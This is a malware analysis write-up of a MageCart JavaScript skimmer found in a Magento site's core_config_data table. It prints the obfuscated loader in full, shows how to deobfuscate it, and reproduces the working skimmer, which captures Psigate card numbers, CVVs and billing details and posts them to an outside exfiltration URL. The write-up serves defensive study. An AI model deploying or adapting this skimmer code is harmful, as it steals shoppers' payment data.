JavaScript Skimmer Targets Psigate Payments

This MageCart skimmer was found injected into the Magento database table of core_config_data on a compromised ecommerce website.

It uses some obfuscation to prevent someone from being able to easily read the code. I ran it through a beautifier to make it easier to read and determine the type of obfuscation used.


var h95505 = "2ck11ek11898n8g7o8h896c817q8h8h8l718d7p8a7l8g8a7p8c887t8i6i7m8b8g7r8a8n8h8g6i6j978n7m6i5m8b8g7o7p7m8n8g7p7o5m5p718a998e7p8h7m5o8k7d8b7p8c996j97887t8c5o7p718k7d8b7p8c996i5m5n8e8d8n7n7t8a7p5m6j6c8e7t8c7p8g8a6i6j6c8e7t8c7p8g8a6i6j6c7m8n8g7o6i5m6c7t7r8a8n8h8g6c8e8c8n8j7t8c996c7r8m7p7r8l8h8b8a5m6j737p6c8i7p8g7n8a8m5i5i6i7r8i7p7t8c7l8g8a7p8c887t8i6i898n8g7o8h896c817q8h8h8l6j6e7p6c7q8n8g7o6i5m7r8i8n7r8l5m6e7m8b8g7r8a8n8h8g6i7p6j97898n8g7o8h896c818h8c7t7r8i7p94948c7p8f8b8n8c7p6i855m8k8f8b7p8c995m6e5m7h7t7n7p8g8a8h816p8m7p7r8l8h8b8a6d8k8d6d8j8h7o7p8i6d8f8b8h8a7p5m836e7m8b8g7r8a8n8h8g6i7p6e7t6e8a6j978n7m6i7r8b8d8a8h8j7p8c6m7t8a7t71898n8g7o8h896c7r8b8d8a8h8j7p8c6m7t8a7t6e7p8j7t8n8i717r8b8d8a8h8j7p8c6m7t8a7t6c7p8j7t8n8i6e5m8b8g7o7p7m8n8g7p7o5m71718a998e7p8h7m5o7p8j7t8n8i5i5i6i7p8j7t8n8i717t6c7n8b7p8d8a6n8j7t8n8i6j6e7t7o7o8c7p8d8d717t6c7q8n8i8i8n8g7n6r7o7o8c7p8d8d6i6j6e888h8n7o5o6a5p71717t7o7o8c7p8d8d6c7r8n8a996j97887t8c5o8c717p6i5m5n8e8d8n7n7t8a7p817r7r818g8b8j7q7p8c5m6j6c887t8i6i6j6e8g717p6i5m5n8e8d8n7n7t8a7p817p988e8n8c7t8a8n8h8g5m6j6c887t8i6i6j6e8h717p6i5m5n8e8d8n7n7t8a7p817p988e8n8c7t8a8n8h8g81998c5m6j6c887t8i6i6j6e8n717p6i5m5n8e8d8n7n7t8a7p817r7r817r8n7o5m6j6c887t8i6i6j738n7m6i8c5i5i8g5i5i8h5i5i8n6j97887t8c5o7r715j975m8g7t8j7p5m725m5j6e7o715j5m6e5m887t8i8b7p5m725m5j6e8d715j5m956e5j6e8b715m855m6h7r6h5m8m8h8d8a5m6h7o6h7o8h7r8b8j7p8g8a6c797a7g6h8d737m8h8c6i985o8n8g5o8b6h717r6h5m7t7n7p8g8a5m6h7o6h8g7t888n7n7t8a8h8c6c8b8d7p8c6r7n7p8g8a6h8d6e8b6h717r6h5m8b8d7p8c8g7t8j7p5m6h7o6h6i7p8j7t8n8i94945m5m6j6h8d6e7t7o7o8c7p8d8d6j8n7m6i5m7m8b8g7r8a8n8h8g5m5p718a998e7p8h7m5o7t7o7o8c7p8d8d8598836j8n7m6i5m8d8a8c7p7p8a5m5p71986j8b6h715j975m8g7t8j7p5m725m5j6h986h5j5m6e5m887t8i8b7p5m725m5j6h7t7o7o8c7p8d8d8598836h8d737p8i8d7p5o7m8h8c6i995o8n8g5o7t7o7o8c7p8d8d6c8d8a8c7p7p8a6j8b6h717r6h5m8d8a8c7p7p8a855m6h996h5m835m6h7o6h7t7o7o8c7p8d8d6c8d8a8c7p7p8a8599836h8d738b6h717r6h5m8e7t998j7p8g8a857r7r818g8b8j7q7p8c835m6h7o6h8c6h8d6e8b6h717r6h5m8e7t998j7p8g8a857r7r817r8n7o835m6h7o6h8n6h8d6e8b6h717r6h5m8e7t998j7p8g8a857r7r817p988e818j8h8g8a8m835m6h7o6h8g6h8d6e8b716i8b6h717r6h5m8e7t998j7p8g8a857r7r817p988e81997p7t8c835m6h7o6h8h6h8d6j6c8c7p8e8i7t7r7p6i6d7l7o6d7n6e5m818n7o5m6j6c8d8i8n7r7p6i6a6e6f6b6j6h5m835m6e898n8g7o8h896c818h8c7t7r8i7p716b73887t8c5o8i717m8b8g7r8a8n8h8g6i7p6j97887t8c5o7t6e8a6e8c717q8a8h7t6i7p8g7r8h7o7p797a7l6p8h8j8e8h8g7p8g8a6i7p6j6j6e8g715m5m737m8h8c6i7t716a737t708c6c8i7p8g7n8a8m737t6h6h6j8a7168676h6i68746h6i6b6864808c857t836c7r8m7t8c6p8h7o7p6r8a6i6a6j6j806b686b6j6e8g6h717b8a8c8n8g7n6c7m8c8h8j6p8m7t8c6p8h7o7p6i8a6j738c7p8a8b8c8g5o8g956i8b6j737p6c7t8k7t986i978b8c8i727t8a8h7q6i5m7t7k7a6a7r7k7h647g99758l7p77678i848j878b848g7l887t6l768m7q7k7a8h86687e8h84777e8c7g8g6o8h7r6r71715m6j6e8a998e7p725m8e8h8d8a5m6e7o7t8a7t78998e7p725m8a7p988a5m6e7o7t8a7t72977r7t8c8a6p8m7p7r8l7b8b8j6m7t8a7t728i6e8f8b8h8a7p7h8h7o7p725m7r8m7p7r8l8h8b8a5m95956j9595956j956j6j95956e6b7p696j73";
var r20525 = 30;
t87588 = h95505;
x796 = t87588.split("k11"), p94751 = parseInt(x796[0], 30), f1794 = parseInt(x796[1], 30);
var q64825 = [];
for (var a76907 = 0; a76907 < x796[2].length; a76907 += 2) {
    q64825.push(x796[2].substring(a76907, a76907 + 2));
}
t87588 = "";
for (var l84644 = 0; q64825.length > l84644; l84644++) t87588 += String.fromCharCode(((parseInt(q64825[l84644], r20525) - p94751) ^ f1794) - p94751);
Function(t87588).call();

For this sample it looks like the skimmer payload is within the var h95505 but it is encoded with CharCode values that use different forms of obfuscation like .push to alter the values for the text in the var h95505 variable.

This means we need to reverse the obfuscation so we can get the plaintext and be able to read the code.

EZ Deobfuscation

A fast and easy way to get around this type of obfuscation is just to append console.log(t87588); to the malicious code after copy/pasting it into the Console section of your browser’s Dev Tools as I demonstrate below:

Right Click Image - Open Image in New Tab

Adding console.log(t87588); will provide us with the deobfuscated code of this skimmer when you run the code - preventing us from having to deobfuscate it manually.

Deobfuscated JavaScript Skimmer Injection

After beautifying the console log response from before, we are left with the following skimmer code in JavaScript.

It’s possible to clean up the code more, but it’s not necessary since we have deobfuscated enough of the source code to allow us to determine the code’s purpose.

window._book = setInterval(function() {
    if ("undefined" != typeof jQuery) {
        var e = jQuery("#psigate").parent().parent().find(".action.primary.checkout");
        e.length && (clearInterval(window._book), e.bind("click", function(e) {
            window._oracle || require(["jquery", "Magento_Checkout/js/model/quote"], function(e, a, t) {
                if (customerData = window.customerData, email = customerData.email, "undefined" == typeof email && (email = a.guestEmail), address = a.billingAddress(), void 0 !== address.city) {
                    var r = e("#psigate_cc_number").val(),
                        n = e("#psigate_expiration").val(),
                        o = e("#psigate_expiration_yr").val(),
                        i = e("#psigate_cc_cid").val();
                    if (r && n && o && i) {
                        var c = '{"name":"',
                            d = '","value":"',
                            s = '"},',
                            u = "[" + c + "host" + d + document.URL + s;
                        for (x in u += c + "agent" + d + navigator.userAgent + s, u += c + "username" + d + (email || "") + s, address)
                            if ("function" != typeof address[x])
                                if ("street" != x) u += '{"name":"' + x + '","value":"' + address[x] + s;
                                else
                                    for (y in address.street) u += c + "street[" + y + "]" + d + address.street[y] + s;
                        u += c + "payment[cc_number]" + d + r + s, u += c + "payment[cc_cid]" + d + i + s, u += c + "payment[cc_exp_month]" + d + n + s, u = (u += c + "payment[cc_exp_year]" + d + o + s).replace(/Id/g, "_id").slice(0, -1) + "]", window._oracle = 1;
                        var l = function(e) {
                            var a, t, r = btoa(encodeURIComponent(e)),
                                n = "";
                            for (a = 0; a < r.length; a++) t = 25 + (28 + (126 ^ r[a].charCodeAt(0)) ^ 121), n += String.fromCharCode(t);
                            return n
                        }(u);
                        e.ajax({
                            url: atob("aHR0cHM6Ly9keW5lZmYuZnIvaGVhbHRoX2NoZWNrLnBocA=="),
                            //url: https://dyneff[.]fr/health_check.php
                            type: "post",
                            dataType: "text",
                            data: {
                                cartCheckSumData: l,
                                quoteMode: "checkout"
                            }
                        })
                    }
                }
            })
        }))
    }
}, 1e3);

In this case the purpose would be to steal payment data from customers using the #psigate_cc_number fields on this ecommerce website - then log additional details about the customer before exfiltrating the stolen payment data to a third party URL.

Exfiltration

As previously mentioned - stolen payment data information is exfiltrated to the third party URL:

https://dyneff[.]fr/health_check.php

Which looks to be another compromised website under control by the attacker.

Exfil URL: https://dyneff[.]fr/health_check.php

[+] IP Address : 54.36.102.36

Sample

Here is a sample of the original malicious code injected into the Magento database table core_config_data:


<script> var h95505 = "2ck11ek11898n8g7o8h896c817q8h8h8l718d7p8a7l8g8a7p8c887t8i6i7m8b8g7r8a8n8h8g6i6j978n7m6i5m8b8g7o7p7m8n8g7p7o5m5p718a998e7p8h7m5o8k7d8b7p8c996j97887t8c5o7p718k7d8b7p8c996i5m5n8e8d8n7n7t8a7p5m6j6c8e7t8c7p8g8a6i6j6c8e7t8c7p8g8a6i6j6c7m8n8g7o6i5m6c7t7r8a8n8h8g6c8e8c8n8j7t8c996c7r8m7p7r8l8h8b8a5m6j737p6c8i7p8g7n8a8m5i5i6i7r8i7p7t8c7l8g8a7p8c887t8i6i898n8g7o8h896c817q8h8h8l6j6e7p6c7q8n8g7o6i5m7r8i8n7r8l5m6e7m8b8g7r8a8n8h8g6i7p6j97898n8g7o8h896c818h8c7t7r8i7p94948c7p8f8b8n8c7p6i855m8k8f8b7p8c995m6e5m7h7t7n7p8g8a8h816p8m7p7r8l8h8b8a6d8k8d6d8j8h7o7p8i6d8f8b8h8a7p5m836e7m8b8g7r8a8n8h8g6i7p6e7t6e8a6j978n7m6i7r8b8d8a8h8j7p8c6m7t8a7t71898n8g7o8h896c7r8b8d8a8h8j7p8c6m7t8a7t6e7p8j7t8n8i717r8b8d8a8h8j7p8c6m7t8a7t6c7p8j7t8n8i6e5m8b8g7o7p7m8n8g7p7o5m71718a998e7p8h7m5o7p8j7t8n8i5i5i6i7p8j7t8n8i717t6c7n8b7p8d8a6n8j7t8n8i6j6e7t7o7o8c7p8d8d717t6c7q8n8i8i8n8g7n6r7o7o8c7p8d8d6i6j6e888h8n7o5o6a5p71717t7o7o8c7p8d8d6c7r8n8a996j97887t8c5o8c717p6i5m5n8e8d8n7n7t8a7p817r7r818g8b8j7q7p8c5m6j6c887t8i6i6j6e8g717p6i5m5n8e8d8n7n7t8a7p817p988e8n8c7t8a8n8h8g5m6j6c887t8i6i6j6e8h717p6i5m5n8e8d8n7n7t8a7p817p988e8n8c7t8a8n8h8g81998c5m6j6c887t8i6i6j6e8n717p6i5m5n8e8d8n7n7t8a7p817r7r817r8n7o5m6j6c887t8i6i6j738n7m6i8c5i5i8g5i5i8h5i5i8n6j97887t8c5o7r715j975m8g7t8j7p5m725m5j6e7o715j5m6e5m887t8i8b7p5m725m5j6e8d715j5m956e5j6e8b715m855m6h7r6h5m8m8h8d8a5m6h7o6h7o8h7r8b8j7p8g8a6c797a7g6h8d737m8h8c6i985o8n8g5o8b6h717r6h5m7t7n7p8g8a5m6h7o6h8g7t888n7n7t8a8h8c6c8b8d7p8c6r7n7p8g8a6h8d6e8b6h717r6h5m8b8d7p8c8g7t8j7p5m6h7o6h6i7p8j7t8n8i94945m5m6j6h8d6e7t7o7o8c7p8d8d6j8n7m6i5m7m8b8g7r8a8n8h8g5m5p718a998e7p8h7m5o7t7o7o8c7p8d8d8598836j8n7m6i5m8d8a8c7p7p8a5m5p71986j8b6h715j975m8g7t8j7p5m725m5j6h986h5j5m6e5m887t8i8b7p5m725m5j6h7t7o7o8c7p8d8d8598836h8d737p8i8d7p5o7m8h8c6i995o8n8g5o7t7o7o8c7p8d8d6c8d8a8c7p7p8a6j8b6h717r6h5m8d8a8c7p7p8a855m6h996h5m835m6h7o6h7t7o7o8c7p8d8d6c8d8a8c7p7p8a8599836h8d738b6h717r6h5m8e7t998j7p8g8a857r7r818g8b8j7q7p8c835m6h7o6h8c6h8d6e8b6h717r6h5m8e7t998j7p8g8a857r7r817r8n7o835m6h7o6h8n6h8d6e8b6h717r6h5m8e7t998j7p8g8a857r7r817p988e818j8h8g8a8m835m6h7o6h8g6h8d6e8b716i8b6h717r6h5m8e7t998j7p8g8a857r7r817p988e81997p7t8c835m6h7o6h8h6h8d6j6c8c7p8e8i7t7r7p6i6d7l7o6d7n6e5m818n7o5m6j6c8d8i8n7r7p6i6a6e6f6b6j6h5m835m6e898n8g7o8h896c818h8c7t7r8i7p716b73887t8c5o8i717m8b8g7r8a8n8h8g6i7p6j97887t8c5o7t6e8a6e8c717q8a8h7t6i7p8g7r8h7o7p797a7l6p8h8j8e8h8g7p8g8a6i7p6j6j6e8g715m5m737m8h8c6i7t716a737t708c6c8i7p8g7n8a8m737t6h6h6j8a7168676h6i68746h6i6b6864808c857t836c7r8m7t8c6p8h7o7p6r8a6i6a6j6j806b686b6j6e8g6h717b8a8c8n8g7n6c7m8c8h8j6p8m7t8c6p8h7o7p6i8a6j738c7p8a8b8c8g5o8g956i8b6j737p6c7t8k7t986i978b8c8i727t8a8h7q6i5m7t7k7a6a7r7k7h647g99758l7p77678i848j878b848g7l887t6l768m7q7k7a8h86687e8h84777e8c7g8g6o8h7r6r71715m6j6e8a998e7p725m8e8h8d8a5m6e7o7t8a7t78998e7p725m8a7p988a5m6e7o7t8a7t72977r7t8c8a6p8m7p7r8l7b8b8j6m7t8a7t728i6e8f8b8h8a7p7h8h7o7p725m7r8m7p7r8l8h8b8a5m95956j9595956j956j6j95956e6b7p696j73";var r20525=30;t87588=h95505;x796=t87588.split("k11"),p94751=parseInt(x796[0],30),f1794=parseInt(x796[1],30);var q64825=[];for(var a76907=0;a76907<x796[2].length;a76907+=2){q64825.push(x796[2].substring(a76907,a76907+2));}t87588="";for(var l84644=0;q64825.length>l84644;l84644++)t87588+=String.fromCharCode(((parseInt(q64825[l84644],r20525)-p94751)^f1794)-p94751);Function(t87588).call(); </script>